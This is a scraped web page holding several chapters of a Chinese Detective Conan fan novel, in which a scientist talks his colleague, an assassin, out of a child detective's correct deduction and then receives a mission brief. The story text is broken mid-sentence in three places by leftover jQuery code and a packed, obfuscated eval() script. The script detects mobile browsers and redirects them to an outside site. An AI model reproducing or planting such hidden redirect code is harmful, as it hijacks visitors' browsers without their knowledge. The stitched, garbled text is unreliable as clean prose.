$(''.inform'').remove(); $(''#content'').append('' 尼低声骂了一句什么，伸手想把他拽回座位，但长岛京悟已经完全顾不上了。 他怔怔地盯着那个孩子，视线死死黏在那张脸上，又迅速扫了一眼坐在他身旁的那对年轻夫妻——不是他爸妈。绝对不是。年龄不对，长相不对，气质不对，连穿衣风格都像是另一个宇宙的设定。 他的脑子“嗡”地一声，整套逻辑链条瞬间脱缰： ——茂雄被拐了？！ 这念头来得荒谬又迅猛，但不知为何，离谱得异常合理。 这些年他一直没能回家，茂雄又还小，说不定早就出过什么事，只是家里怕他担心，一直瞒着他。他错过了太多，如果真有事，他最后一个知道也不是没可能…… 更何况那个孩子实在太像了：照片级的还原，角度级的复刻，连说话时嘴角下压的弧度都对得上。如果不是茂雄，他简直要开始怀疑是不是妈妈其实当时生了一对双胞胎…… 于是就在这么一瞬间，“弟弟被拐卖到东京、现在和买他的夫妻正在米花町一家拉面馆吃晚饭”这个剧本在他脑子里惊人地完成了自洽。 长岛京悟喉咙发紧，心跳剧烈，整个人像是被揪着灵魂晃了三圈，脱口而出的声音都带着点发抖： “……茂雄？你怎么会在这里？” 吧台那头的小男孩抬起头，眼神里带着一点茫然，还有些许孩子对陌生人天然的警觉。他一手还握着筷子，动作没有停，但偏过头来仔细打量了长岛京悟一眼。 “这位大哥哥，”他语气平稳得出奇，甚至带着一点礼貌的疏离感，“你是不是认错人了？” 那反应太冷静了，冷静得不像一个六岁小孩该有的态度，甚至有种“你说完了吗，我要继续吃面了”的沉稳。 这显然不是茂雄会有的反应。 长岛京悟想起他弟弟前两天才用妈妈的账号给他发语音消息，内容是：“哥哥，你会不会是披着哥哥皮的怪兽？如果你是，我刚刚给你做了个房子。” 过了一会儿，妈妈发给他一张照片，是茂雄在给纸箱画眼睛当他之后的住所。 长岛京悟像被兜头泼了一盆冷水，心头瞬间拔凉。他站在原地，一动不动，脑袋跟不上反应，身子也微微往后缩了一步。尴尬、动摇、羞耻、想逃，几种情绪同时在他脑子里爆炸。他下意识想转身坐回去，假装刚才那一嗓子是喊给其他人的…… ……但没来得及。 那个孩子已经若无其事地转回去，靠近他身旁的父母，用他认为很小声、但实际上刚好能让隔壁桌听得一清二楚的音量，小声说了句：“那桌的大哥哥有点奇怪，刚刚一直盯着我看。” 长岛京悟：“……” 下一秒，那对年轻夫妻也一齐转头看向这边。 女人眼中浮现出明显的惊讶，男人则有点发懵，眨了眨眼，像是在试图从自己的社交记忆库里搜刮出“有没有曾经和这位先生吃过年夜饭”的片段。 漂亮的卷发女人先反应过来，拍了拍身边男人的肩膀，语气既夸张又诚恳：“亲爱的，天哪！我好像看到了小新长大之后的样子！” 74.没事不要瞎凑热闹 一场淋漓尽致的你追我逃后，长岛京悟和那位被称作“小新”的小朋友被同伴和亲生父母一左一右地拎着，像两只不配拥有选择权的小动物，在米花町这家拉面馆最显眼的靠窗座位上排排坐，接受全员围观。 那是两个毫无退路的高光位置，热烈的顶灯像钨丝灯泡一样直直地照下来，毫不留情地打在他们的脸上，照亮了每一道面部线条，连眉毛的浓淡、睫毛的生长方向都清清楚楚，无所遁形。 全场的目光几乎不约而同地聚焦在这两张脸上。 他们俩的相似度的确惊人：眉眼轮廓、鼻梁线条、下颌线的转折角度，乍一看几乎就像是一个人在两个不同年龄段的脸。无论从哪个角度看，都像是某种更高维度里的复制粘贴模板，只是在最后执行时添加了一点微小的随机扰动…… 不过，仔细观察的话，还是能分辨出些许不同。 比方说，两人的眼睛虽然同为东亚人中极为罕见的蓝色，但色调并不一样。小新小朋友的蓝偏浅，通透得像玻璃珠，光线一照就亮晶晶，带着一种锐利又纯净的气质；而长岛京悟的蓝则要深得多，几乎接近墨蓝，在拉面馆偏黄的灯光下显得晦涩又疲惫，像某种饱经摧残的深水矿石。 此外，如果是精通易容术的人，大概还能看出骨相上的差别。长岛京悟的脸更窄一些，颧骨线条略偏锋利，像是被这该死的人生反复捶打之后磨出来的结实棱角；而小新则带着少年人的圆润感，骨骼尚未完全长开，未来大概率也会长成一张意气风发的少年脸。 而最明显的不同，是他们的表情管理。 长岛京悟身为一个从小到大就有点社恐的人，在众目睽睽之下几乎瑟瑟发抖，像是在社交灾难中被物理冻结，眼神四处乱飘，嘴角绷得笔直，整个人仿佛随时准备从桌子底下爬走。 反观坐在他身边的小新小朋友，却冷静得近乎过分。他坐姿端正，目光像雷达一样缓慢扫视四周，不动声色地收集现场信息。看得出来，他既不紧张，也不觉得尴尬，已经具备了少年侦探初阶觉醒的气场。 马蒂尼饶有兴致地凑近看了几秒，又往后退了两步，啧啧称奇：“这也太像了，你确定没有第二个弟弟吗？ ” 长岛京悟弱弱道：“我只有一个弟弟……而且你仔细看一下就知道了，我们没有那么像的。比方说我的眼睛就和他很不一样，我们家人的眼睛颜色都很深的。” “我也觉得像是同一套五官，只是不小心点错了颜色。”松田阵平托着下巴点评，“像是不会画画的漫画家填色游戏，线稿一模一样。” “不过，五官也的确有很多不一样哦。” 旁边一直在兴致勃勃地打量这两张脸的小新妈妈终于出声，笑容灿烂，语气轻快，“如果是演员的话，很容易看得出来的，尤其是轮廓结构和神态差别。” 她话锋一转，忽然像是想起什么似的，带着爽朗的笑意，顺势微微前倾，优雅地伸出手，补充道： “对了，忘了自我介绍，真是失礼了。给你添麻烦了，实在不好意思。”她神情真诚，“我是工藤有希子，这是我先生工藤优作，还有我们儿子，工藤新一。” 这一刻，长岛京悟在顶光和社交距离的双重加持下，终于看清了工藤有希子的脸。 ——然后不可避免地，从灵魂深处发出了一声“哦呼”。 这个世界上居然有这么好看的人！ 那是一种不带攻击性的明艳，美得毫无攻击性，却强得像一记暴击，直击脑门。长岛京悟被这张脸硬控了足足几秒，才猛地回神，赶紧伸手回握。指尖触到的瞬间，他觉得自己碰上了一个被女娲精雕细琢出来的人类奇迹。 他的大脑一片空白，意识还沉浸在“这种美貌是人类能够拥有的吗”这件事里，直到他身旁的两个男高中生震惊道： “等、等一下！……是暗夜男爵系列的作者工藤优作先生吗？还有那个大明星，藤峰有希子？！” 。 松田阵平和萩原研二，和大多数高中男生一样，课余时间除了打篮球、打游戏，就是看点劲爆的推理小说。此刻见到本命作者本尊，两人简直像中了大奖一样兴奋。 好在工藤优作本人非常温和，面对这两个热情爆表的小读者，不仅耐心解答他们的问题，还接地气地和他们聊起了小说创作中的各种细节。而两位少年的推理能力也确实不俗，再加上萩原研二那种E人之王级别的社交本领，不过一小会儿工夫，三人已经聊得风生水起，俨然一副多年老友重逢的模样。 与此同时，长岛京悟和马蒂尼也在工藤有希子的邀请下，在她和工藤新一对面坐下。 他这才想起自己还没做自我介绍，连忙说道：“我是长岛京悟，这是我的同事马……上杉夏香。请多多指教，工藤太太，新一君。” 马蒂尼点点头，礼貌地附和：“请多多指教。” 工藤有希子笑着回道：“我们也是，请多关照。” 寒暄结束，桌边一时陷入短暂的沉默。 社交的大忌，就是在还不熟的时候让话题突然断线。长岛京悟依依不舍地吃完最后一口面，放下筷子，开始在脑海里飞速翻检“适合在饭桌上对陌生人开启、又不至于收场尴尬的破冰话题”。 他正焦头烂额地在“天气、兴趣、拉面汤底偏好”之间徘徊时，一直安安静静吸面条的工藤新一忽然抬起头，冷不丁地开口： “长岛哥哥最近是不是熬了很多夜？” 长岛京悟顿了一下，甚至没反应过来这句话是在对他说话。他下意识地低头，借着面汤的反光照了照自己。 虽然这几天的确只睡了二十个小时，但他每天来公司都坚持穿戴整齐、打理发型、刮净胡茬，甚至还会在凌晨四点给自己敷张贵价面膜。他本以为自己的状态已经比一般社畜精致太多，结果竟然还是被一眼看穿。 他有些惊讶地问：“新一君是怎么看出来的？” 工藤新一偏了偏头，看着他道：“你眼下有点发青，眼白有血丝，指甲边缘也有些干裂。一般是长期睡眠不足、摄水量不足，还喝了很多咖啡才会这样。” 长岛京悟称赞道：“新一君太厉害了吧，你将来肯定能成为一个非常了不起的侦探。” 小小的工藤新一骄傲地挺起胸膛，头昂得高高的，整个人写满了“快多夸夸我”。 ……有点像老登的女儿，小孩子还真是好哄。 长岛京悟举一反三，顺势继续逗小孩：“那新一君能猜出来我是什么职业吗？” 工藤新一立刻坐直，进入侦探模式。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360856|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细地打量着长岛京悟，一边皱眉一边小声念叨，像是在拼一副看不见的拼图： “嗯……长岛哥哥皮肤很白，手上没有茧，走路的时候动作很轻，应该不是做户外工作的人。” 他歪着头想了想，又认真补充道：“但是你袖子那里有一块淡淡的蓝色印子，洗过但没完全洗掉。我猜不是墨水，因为颜色比较冷，看起来更像是某种染色剂。” 他边说边比划了一个小小的挽袖动作：“还有，你吃饭时总是下意识地往上挽袖子，哪怕袖子根本没掉下来。这说明你平时穿长袖的机会很多，而且经常要动手，怕弄脏袖口。” “现在是夏天，大家都穿短袖，只有你穿长袖，还穿得很自然，那应该是工作需求……再加上之前那些线索——” 他的眼睛一下亮了起来，像是拼图终于补上了最后一块： “所以真相只有一个——长岛哥哥是科学家！穿长袖是因为实验室安全规定，袖口上的染色剂也能解释得通，是做生物实验留下的痕迹！” 长岛京悟：“……” ……这孩子以后不能随便带出门。他甚至开始思考要不要向公安建议提前重点保护这个未成年。 他扭过头，看向工藤有希子，难以置信地问：“新一君现在才六岁吧？” 工藤有希子笑得既温柔又骄傲：“虽然是六岁的小孩子，但小新一直都很努力哦。” 长岛京悟：“……” 他整个人更加震惊了。再联想到自家弟弟茂雄这个年纪还在泥巴地里打滚，他忽然有种回家后要立刻给茂雄报十个培训班的冲动——现在的小孩都这么卷了吗？ 他还在脑内规划弟弟的素质教育路线图，旁边的马蒂尼也突然凑热闹开口了。 她撑着下巴，笑眯眯地靠近新一：“诶，新一君，那你来猜猜我是干什么的呀？” 说完，她还学着长岛京悟的样子，把袖子随手一挽，整个人像是在配合游戏一样摆出“快来猜我”的架势。 工藤新一眨了眨眼，小小的眉头微微一皱，又进入了观察模式。 “嗯……姐姐你穿得很随意，但头发打理得很好，指甲修得很干净，但没有颜色，说明你要经常动手，工作不允许美甲。” “你的坐姿很稳，不像普通上班族那么懒散，而且我注意到你走路的重心很稳，身体总是偏右，像是右手会经常带点什么非常重的东西。而且你的右肩比左肩略微高一点，是那种长期单边负重形成的肌肉习惯。” 他继续说：“你的领口和袖口有拉伸痕迹，位置也不太像键盘、鼠标那种固定动作导致的，更像是经常大幅度动作造成的。” “还有你刚才吃饭的速度很快，筷子动作非常稳，说明手上力气也不小。最让我在意的是——你坐下的时候，下意识地把椅子转向出口的方向。” 工藤新一说到这里，语速慢了下来，脸上浮现出一丝明显的困惑和犹豫。 “如果是医生的话，应当不会有随时警戒的习惯……而且右肩长期负重，大幅度动作，手上力气很大……而且从你露出的手臂可以看出来肌肉含量非常高，体脂率很低……” “……像是个……”他声音越来越轻，眼神也渐渐染上了一点茫然和难以置信，“……杀手……？” 75.胡说八道也是门技术活 工藤新一的声音不大不小，但是足以让整张桌子上的人都听得清清楚楚。 他话音一落，饭桌上的空气仿佛凝滞了一瞬。 马蒂尼原本撑着下巴的手僵在半空，脸上还挂着刚才凑热闹逗小孩时留下的那点笑意，半真半假，不走心也不防备。可在这一瞬，那点笑意就像穿错了场合的衣服，显得格外不合时宜。她像是还没来得及从前一个语境里抽身出来，就被一句话生生定在了原地。 所有人都几乎在同一时间把目光投向了她。 马蒂尼倒不是没见过这种场面。十几年刀口舔血的工作经验，早就把她的心理素质锤得比实验台还硬。哪怕真的身份暴露，她也未必会慌。大不了干掉所有知情者、跑路改名，组织那边再给她换个身份，她照样是一条好汉。 ——但现在的麻烦就在于，现在等着她解释的，不只是陌生的工藤夫妇和他们那个推理强得有点不正常的儿子，还有那两个马蒂尼宁愿自己死也不愿牵连进这些破事的高中生。 马蒂尼忽然觉得后背发烫。 她试着让自己看起来轻松些，嘴角努力往上扯，勉强挤出一个笑容： “哈……哈哈，小新同学说笑了吧？我怎么可能是个……杀、杀手呢。” 她的声音轻飘飘的，最后那个“杀”字甚至还卡了一下音，越听越像此地无银三百两。 词到用时方恨少。马蒂尼悲愤地在心里默念：死脑子，快转啊！ 工藤新一没有说话，就那么安静地盯着她看，眼神亮亮的，不像是害怕，更像是兴致盎然——一种“我已经推理完了，现在轮到你来补全证据”的眼神，带着一丝藏不住的期待，还有那么一点点“你要是狡辩我一定听得出来”的认真。 马蒂尼对上这双眼睛，脑子彻底卡壳，只剩下一个念头在反复刷屏： ——完犊子。 她汗如雨下，几乎是下意识地转头去看长岛京悟，目光中满是求生欲，满脸都写着救救我救救我救救我…… 。 事情来得太快，长岛京悟也没能第一时间反应过来，他放下手里刚刚抿了一口的大麦茶，硬着头皮开口，尽量把语气放缓，先把场面稳下来再说：“新一君，其实你刚刚的推理已经非常接近真相了。只不过呢——” 他语调压得很稳，字句之间留足了缓冲的空间，像是在替人挡刀时顺便抢几秒钟上药。他说着话，侧头看了马蒂尼一眼： ——你清醒一点！跟我打一下配合！ 可惜希望越真诚，现实就越残酷。 他目光刚扫过去，就看见马蒂尼还停留在刚才那副表情里，一脸茫然，好像因为cpu烧光了开启了自动系统升级。 长岛京悟默默叹了口气。他知道，今晚能不能全身而退，得看眼前这一家三口愿不愿意在报警前，先听他胡扯五分钟。 “新一君，”他再次出声，语气平稳而有节奏，“你观察得非常仔细，只不过还有些你还没注意到的地方。” 工藤新一仰起毛茸茸的小脑袋看他，一副对自己的推理很自信，但是洗耳恭听的模样。 长岛京悟一看，心里便有了底。 有戏。这种既有点倔、又愿意听人说理的孩子，正是他最擅长对付的类型。多年在老登手下摸鱼，他早就练就了拿一个简单事实，随手编出一整套看似合理的逻辑链条。只要对方不是完全无视常识、只相信情绪的类型，他总能把人绕进自己的话术里。 他语气一转，温和地说道：“你大概是看太多侦探小说了，才会一下子联想到‘杀手’吧。” 工藤新一愣了一下。 长岛京悟趁热打铁：“虽然你说的没错——上杉她确实是一个体能训练严格、行动力强、随时待命应对突发情况的岗位从业者。” 话音刚落，工藤新一警觉地瞪大了眼睛：“……那不就是杀手吗？” 长岛京悟不带一丝犹豫地回：“不是。” “不是杀手，那还可能是什么呢？”工藤新一追问。 长岛京悟说：“是HR。” 。 空气静了两秒。 不仅仅是工藤新一，所有人都露出了一副“这简直是危言耸听”的表情。 但长岛京悟心里的那块大石头却终于落了地：他知道这把稳了。 当然，他完全清楚现在没有一个人相信他。甚至可能连马蒂尼本人都不清楚他为什么非要在这个节骨眼上，用一个荒谬到无以复加的谎言来填这个坑。 可这正是破局的关键！ 人类的大脑有一个共通的缺陷：对合理但可疑的事物保持高度警觉，对荒谬到无法判断的事物则选择暂时搁置。 人们只会对“似是而非”的事情较真，只会对“可能为真”的谎言提出质疑。你说得太像真的，反而容易被追着问细节；但如果某个说法荒谬得足够彻底、彻底到脱离常规逻辑的程度，那质疑就会变成一种徒劳：因为连质疑的入口都被荒唐本身堵死了。 这是他在科研汇报里对付导师、在走廊上敷衍领导、在办公室和HR绕KPI时一遍又一遍试验出来的结论—— 当一件事略显荒谬，人们会怀疑你；而当一件事荒谬到了极致，人们反而会开始怀疑这个世界本身。 而当一群本来很聪明、很清醒的人集体陷入这种怀疑时，他们就不会再追问你，而是开始调整自己。他们会默默想起自己见过的那些制度崩坏、流程癫狂、职场压迫的瞬间，然后在心里叹一句：也是，这年头，好像什么事都说得通了。 长岛京悟深吸了一口气，面上浮现出一种近乎悲悯的神色，语调低沉，像是在讲述一位倒在时代洪流中的英雄：“但是……上杉不只是一个普通的HR。” 他停顿了一下，像是在给听众也留下几秒沉默的空间，随后才缓缓吐出后半句：“她是一个强悍的HR。” “因为我们公司的人事部，只剩她一个人了。” 这一句话说出口，他整个人都像沉了几分，仿佛不只是为她惋惜，更是在为整整一个行业默哀。 “她一个人干完了整栋楼的入职手续、离职流程、岗前培训、劳动合同、社保保险、绩效考核、加班统计、员工关系、心理疏导……连每季度的弹性工作政策建议案，都是她一手包办的。她用一个人的生命硬扛住了全公司将近两千个人的管理。” “而且你要知道，人事部的事情是永远不会结束的。”他说着，声音压得更低了一些，“所以她必须随时待命。白天顶着项目经理催流程，晚上还要帮员工写心理状态报告；就连节假日，她都要盯着系统，防止哪个高管的年假清零了还不自知。” 他停了一下，抬眼看向众人，眼神带着一点仿佛也被压垮的疲惫。 “你刚才看到的什么‘坐姿稳重’‘步伐稳定’‘吃饭手速快’，这些都不是什么神秘职业的特征。”他摇了摇头，语气转为坚定，“那是她在疲惫到极限的状态下，还能一边走路一边回邮件，一边吃饭一边打Excel，日复一日、年复一年打磨出来的生存本能。” “等、等一下！”工藤新一忽然打断他，“那长期单肩负重、大幅度活动身体呢？如果是坐办公室的人的话，为什么身上会有这种痕迹？” 长岛京悟几乎不加思索地答道：“那是因为她经常一个人扛着打印纸箱、端着绩效考核材料，在楼层之间跑业务。” 他说着，脸上浮现出一种发自内心的沉痛，仿佛已经不是在描述一个同事，而是在讲述一位被体制碾压的抗压斗士： “她的办公桌在二楼HR办公室，位置非常尴尬，坐落在走廊最深处、茶水间旁边、最远离电梯的角落。而我们公司的电梯——”他顿了顿，“经常坏。我有时候真的怀疑，是公司故意留一个项目，用来测试员工的体能极限。” “你能想象吗？”他看着工藤新一，语气缓慢却笃定，“可怜的上杉，每天要一个人拎着一摞员工离职清单、打印完的五十页绩效文档、还有会议上要用的十几个胸卡，从打印室走回办公室，再原路折返，把文件送去行政部。来回八趟，上下共二十层楼，没有电梯，全靠腿。” “你说她肩膀为什么不平衡？背肌为什么紧绷？是因为她每天都在用半个身体，维系整个公司的流程。她的体脂率低，不是因为健身，而是因为消耗。” 工藤新一的语气明显迟疑了几分：“……但是……” 长岛京悟已经不打算给他留下犹豫的空间，慷慨激昂地说道：“一个人，竟能牛马至此！新一君，你将来一定要坚定地做一个侦探，开自己的事务所。你要自由！要尊严！要当自己的老板！绝不能沦为那种谁都能来一句‘这周PPT怎么又没改’的可悲社畜！” 工藤新一张着嘴巴，像是一下子被一个光怪陆离的大人世界砸了个正着，一时间完全说不出话来。 “而且，”长岛京悟话锋一转，带着一点“你以为结束了其实没有”的风格加了一句，“新一君你还漏了一点。” 工藤新一有点懵地问：“漏了什么？” 长岛京悟语气意味深长：“你没注意到她鞋后跟的磨损角度吧？那是典型的‘被老板夺命连环call叫去办公室时，人在门口下意识急刹车三厘米’才会留下的痕迹。” 工藤新一低头认真看了一眼马蒂尼的鞋，果然在小后跟处发现了一个将近十度的磨损痕。他看了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382168|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿，像是在印证一个推理模型，最终缓缓点头，神情郑重： “……我懂了。以后我要更加注意这些细节，做到完全客观地推理观察。” 马蒂尼：“……” 那个磨损其实是她前几天鲨人的时候下腰躲避对方回击的时候造成的。 但是长岛京悟已经开始总结陈词了：“一个人的鞋跟，能承载的，不只是重量，不只是疲惫，不只是走过的路。还有被压抑的梦想、被榨干的工时、还有对年度绩效评审制度的无声反抗。新一君，我可以肯定的是未来的你一定前途无量，但是在你为了正义努力向前的同时，也要记住：世上没有任何真相，比‘社畜也是人’更容易被忽视。” 工藤新一特别认真地点了点头：“我记住了。”他小声对马蒂尼说，“ 姐姐，我在不清楚事实的情况下说你是杀手，真的对不起。” 长岛京悟也转过头来，微笑着与马蒂尼对视，眼神中带着一点“你要是现在还敢乱说话的话咱们直接原地拆伙”的威胁。 马蒂尼连忙摆手：“没事没事的，虽然推理有一点点小瑕疵，但是小新小朋友你真的好厉害，将来一定是救世主一样的侦探。” 工藤有希子很自然地接过话头，语气温柔而真诚：“上杉小姐，你真的很了不起啦。要是我们家新一以后真开事务所了，我希望他也能遇上一个像你这样的人事。” 她微微一笑，语调轻快地补了一句：“当然，最好是有两个，这样你就不用一个人扛那么多了，太辛苦了。” 马蒂尼听得脸上发热，仿佛方才的大起大落都变成了褒奖的一部分，连忙笑着摆手：“哈哈哈，都是应该的啦……我就干这几年，等我存够了钱就打算退休，回乡下开家民宿……” 她话音还没落下，工藤优作像是顺着话题忽然想起了什么，神情一派悠闲地接上：“你的故事真的很有意思。我最近正好在构思一部以职场为背景的新作，也许能借点灵感——方便问一下，你们公司叫什么名字吗？” 长岛京悟刚准备出声提醒，却还是慢了一步。 马蒂尼已经在半恍惚状态中脱口而出：“哦，当然可以。我们公司叫白鸠制药。” “白鸠制药……”工藤优作轻声重复了一遍，随后从上衣口袋里掏出一个黑色封皮的小笔记本，低头“刷刷”几笔，写下了这四个字。 写完后，他收起笔记本，站起身来，语气平和：“时间也不早了。有希子，新一，我们也该回家了吧？你们不是说今晚那一档喜欢的节目九点播出吗？现在走的话，回去刚好赶上。” 事已至此，长岛京悟也站起身，笑着附和道：“的确，也很晚了，我们也该回去了。研二君，阵平君，你们两个还在长身体，最好也早点睡觉吧。” 萩原研二伸了个懒腰，笑着说：“是的呢，我也很累了，我们都早点回家吧。” “那你们先和上杉去车上吧，”长岛京悟转头交代道，“我来结账。” 他拿着账单朝收银台走去。几秒钟后，工藤优作也拿着他们一家的账单走了过来。 两人并排站在收银台前，把账单交给了收银员，随后一言不发地并肩等着收银员低头找零。气氛不咸不淡，却有一种微妙的静默在两人之间流动。 忽然，工藤优作侧过头，带着一抹意味不明的笑意说道：“长岛君，你知道吗，我是写小说的。” “当然知道，”长岛京悟顺口接上，“您的《暗夜男爵》系列我看过，女主特别有魅力。” “那就好，”工藤优作轻描淡写地说道，语气像是随口一聊，又仿佛别有深意，“你知道我们这些写推理小说的人，有个很不好的习惯。” 长岛京悟问：“什么习惯？” “喜欢记住别人说的每一句话。”工藤优作微微一笑，语气温和，“尤其是那些说得太顺的台词。” 长岛京悟没有接话。 工藤优作收回笑意，视线落在他脸上，语气不紧不慢地补了一句：“你不用紧张。我并不打算挖你什么秘密，我只是对‘话术精湛、逻辑缜密、对小孩子也毫无怜悯心理’的科研人员……抱有某种职业上的好奇。” 话音刚落，收银员已经把零钱分别放在了两个木制小托盘上，推到他们面前。 工藤优作动作从容地把找零收回钱包，随后像是忽然想起什么，从随身的包里抽出一本印刷油墨还带着微香的新书样本，递给长岛京悟。 “这是我最近的新作试印版，算是见面礼。如果长岛先生不嫌弃的话，请收下。” 他顿了顿，像是随意又不经意地补上一句：“如果有任何建议，也欢迎随时告诉我。那么，先失礼告辞了。” 76.科研岗位如何一键转职刺客 长岛京悟上了马蒂尼的车，坐在副驾，两个高中生安静地坐在后座，一路无言。应两个DK的要求，马蒂尼把他们送到最近的电车站，然后载着长岛回到了他们的公寓楼。 他们沉默地坐电梯上楼。到达各自的公寓，两人掏出钥匙开门，这个时候马蒂尼轻轻地说：“我不知道下一次会不会把他们拖累进来，我现在真的有点后悔了。” 他们都清楚马蒂尼说的“他们”是谁。长岛京悟叹了口气，推开自己的门：“要不要进来喝一杯？” 马蒂尼点点头，锁好自家门，跟着走了进去。 。 长岛家其实也没什么酒，他翻了翻冰箱，最终只翻出几瓶零卡气泡水。两人就一人一杯，面对面坐在餐桌前。 马蒂尼抿了一口气泡水，苦笑道：“唉，长岛，你可能不会懂……我是真的很在乎那两个小孩。我也搞不清当时脑子哪根筋不对，非要把他们拉来公司。” 长岛京悟说：“我不敢说完全能理解你，但我可以肯定的是——那两个孩子观察力极强，尤其是研二君，他大概率已经猜到不少他不该知道的东西了。你当时也许根本没意识到他们有多敏锐。” 他也喝了一口，然后接着道：“他们真的很有能力，将来一定会成为很优秀的人。如果你真的想保护他们，那就让他们在暑假结束后别再靠近这些事。” 马蒂尼心不在焉地转着杯子，像是在犹豫，又像是在下决心。她终于点头：“你说得对。让他们干到月底就结束，等开学之后我就不让他们再过来了。”她想了想，又问：“你那边行吗？你没有助手了，这些杂活你一个人够吗？” 长岛京悟说：“哦，我还行，上次和朗姆汇报得还不错，他已经让我下周三去给董事会汇报了。” 马蒂尼的手一抖，杯子里的饮料洒出来了一半：“下周三？董事会？” 长岛京悟问：“怎么，有问题吗？” 马蒂尼说：“问题大了。你现在都没有代号，他怎么可能带你见其他高层？” 长岛京悟：“……等下，上次你不是说我可以叫‘长岛冰茶’吗？朗姆还说让你给我录入系统什么的……” 马蒂尼差点被气笑了：“那只是个备选代号！你当我那是批发市场现场起名呢？在组织里，代号不是随便喊着玩的！” 她语气突然加重：“你对组织一无所知啊。日本公安情报这也太落后了吧？” 长岛京悟露出一丝尴尬的神情。 他感觉关于这个组织，日本公安手里的情报几乎为零。别说结构图，就连代号体系都还处在“应该都是酒名”的阶段。他甚至有种荒谬的感觉：或许他这个半卧底、半科研牛马的家伙，现在就是公安掌握的唯一一手信息来源。 这一点，比起已经一条龙服务、摩拳擦掌打算干废对手的港口黑手党，官方还是差的不是一点半点。 马蒂尼说：“算了，你听好。在组织里，只有有代号的成员才能被称为高层，参与核心事务、见到其他的高层。要是想要获得代号，需要经过一个严格的代号考核，考官一般是一个有代号的成员。”她顿了顿，“当然，你的引荐人地位越高，你的起点越高。如果你是朗姆引荐的，你说不定会空降当科研组的组长，他的确在组织里很有话语权。” 长岛京悟问：“代号考核是什么形式？” 马蒂尼叹了口气：“回报越高，风险越大。朗姆的代号考核一向是最严格的——当年和我一批考核过来的杀手，最后只有我和另一个人活下来，拿到了代号。不过我也差点死了，真的只能说是福大命大。不然你以为我为什么这么怕他？他真的有能力、也有权力，像捏死蚂蚁一样捏死你。” 长岛京悟听着，只觉得背后一阵发凉。 他原本以为自己已经见识过朗姆的可怕了，可在马蒂尼的这番话面前，那点经验简直像是幼儿园野炊。而她所说的那个“代号考核”，听上去根本就不是考核，而是一场精心包装的合法屠杀。 马蒂尼继续说：“他要是打算带你下周三见董事会，说明他得在这之前对你做代号考核——长岛，你除了那个他让你今天早上去汇报的邮件，他还给你发了什么邮件吗？现在距离下周三也就是六天了。” 长岛京悟赶紧解锁因为一个下午和晚上的闹剧而完全没看一眼手机。果不其然，大约在今天下午，他匆匆去废弃工厂捞两个被绑的高中生的时候，就有一封邮件发到了他的邮箱里。 来信人是朗姆。 。 朗姆的邮件很简洁，只有一行字。 【朗姆】：周末处理一下这个[附件] 俗话说得好，老登静悄悄，必然在作妖。长岛京悟觉得这句话的含金量还在持续上升。 原来全世界的老登都是一个样子，只要看到底下的打工人哪怕喘口气，都能气得脸歪脖子斜，恨不得你连做梦都在为他们燃烧自己的剩余价值。 长岛京悟惨白着脸点开附件，心里在疯狂祈祷这次的所谓代号考核是自己拿手的活，比方说比如几天内肝出几十万字的科研基金申请书，或者做一套白鸠制药的新官网，再不济，帮朗姆接送他家熊孩子上下学两年，这种技术含量不高但精神折磨极强的任务，他也可以接受…… 他开始阅读这个文件： 【在神奈川县的工业区，一家名为“苍白之火生物科技”的公司正在秘密研发一种神经再生药物。情报显示，该药物可能与我们正在研究的项目极其相似。 你被指派执行一项高度机密的任务： 潜入目标：苍白之火生物科技公司位于神奈川县的研究设施。 主要目标：窃取神经再生药物的全部研究数据。 次要目标：在不留痕迹的情况下，彻底摧毁整个研究设施，防止技术外泄。 任务要求极高的隐蔽性和精准度，任何失误都可能导致任务失败。你需要利用一切可用资源，制定周密的计划，确保任务的成功执行。 请注意，最终的任务执行人必须只有你一个人，否则任务将直接判定为失败。 准备好迎接挑战，展现你的潜行与战术能力。限时下周二前向我汇报完成结果。】 长岛京悟：“……” 这个槽点太多了，他甚至不知道从哪里吐槽起……………… 他抬起头问马蒂尼：“你们的任务书，一直是这么像游戏文案吗？” 马蒂尼迷茫地凑过来看了一眼，沉默几秒，脸上的表情逐渐从困惑变成无奈：“是这样，好像是最近朗姆换了一个新的秘书，这个新人的写作风格就是这样的，你习惯一下吧。” 长岛京悟：“……” 这个新的秘书不会是市川吧。 这文风也太熟了，熟到仿佛下一行就是“按R3开启鹰眼视角”。从语气到任务目标的陈述方式完全是纯正的《X客信条》味道，精准到像是直接从翻译组搬来的模板。 原来从高中到现在，整整十年，市川还在为自由潜行、为信仰空降，在中世纪的屋顶上跑得比现实世界加班还努力啊！ 他叹了口气，又把目光落回任务书，越看越觉得不对劲。 偷情报、摧毁设施、潜入单人作战……这些条件，怎么看都像是为某种特工或杀手量身定制的任务。 长岛京悟这辈子用的最熟的枪是移液枪，杀过最多的生命体是昆虫细胞，上一次潜入任务是凌晨三点偷偷混进隔壁实验室抢用离心机。让他一个如此没有战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 